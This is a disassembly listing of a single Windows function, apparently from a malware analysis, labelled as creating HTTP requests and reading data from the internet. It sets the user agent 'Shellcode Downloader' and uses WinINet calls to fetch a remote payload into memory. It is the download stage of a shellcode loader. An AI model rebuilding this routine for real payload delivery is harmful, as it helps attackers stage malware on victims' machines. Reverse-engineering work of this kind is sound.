Function at 0x140001630
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x460
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov qword [rsp + 0x30], r8
mov r13, rdx
mov rbx, rcx
mov qword [rsp + 0x40], rcx
xor r12b, r12b
xor edi, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Shellcode_Downloader
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
test rax, rax
jne 0x140001703
lea rdx, str.Failed_to_open_internet_handle.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001c70
mov rcx, rax
lea rdx, [0x140001e50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 7
jbe 0x1400016f5
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x1400016f0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400018b0
mov rcx, r8
call fcn.1400020fc
mov qword [rbx + 0x10], rdi
mov word [rbx], di
xor al, al
jmp 0x14000187d
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140001710
mov rdx, qword [rbx]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x2400
xor r9d, r9d
xor r8d, r8d
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r14, rax
test rax, rax
jne 0x140001765
lea rdx, str.Failed_to_open_URL_handle.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001c70
mov rcx, rax
lea rdx, [0x140001e50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x1400016b6
mov rsi, rdi
nop dword [rax + rax]
lea r9, [rsp + 0x38]
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400017f6
mov ecx, dword [rsp + 0x38]
test ecx, ecx
je 0x1400017de
mov edx, edi
add edx, ecx
mov rax, 0xffffffffffffffff
cmovb rdx, rax
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x1400017d5
mov rsi, rax
mov r8d, dword [rsp + 0x38]
mov ecx, edi
add rcx, rax
lea rdx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x38]
add edi, eax
test eax, eax
jne 0x140001770
jmp 0x1400017e3
lea rdx, str.Memory_reallocation_failed.
jmp 0x1400017fd
test rsi, rsi
je 0x140001822
mov qword [r13], rsi
mov eax, edi
mov rcx, qword [rsp + 0x30]
mov qword [rcx], rax
mov r12b, 1
jmp 0x140001822
lea rdx, str.Failed_to_read_from_URL.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001c70
lea rdx, [0x140001e50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 7
jbe 0x140001870
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14000186b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400018b0
mov rcx, r8
call fcn.1400020fc
xor eax, eax
mov qword [rbx + 0x10], rax
mov word [rbx], ax
movzx eax, r12b
mov qword [rbx + 0x18], 7
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.1400020a0
mov rbx, qword [rsp + 0x4b8]
add rsp, 0x460
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3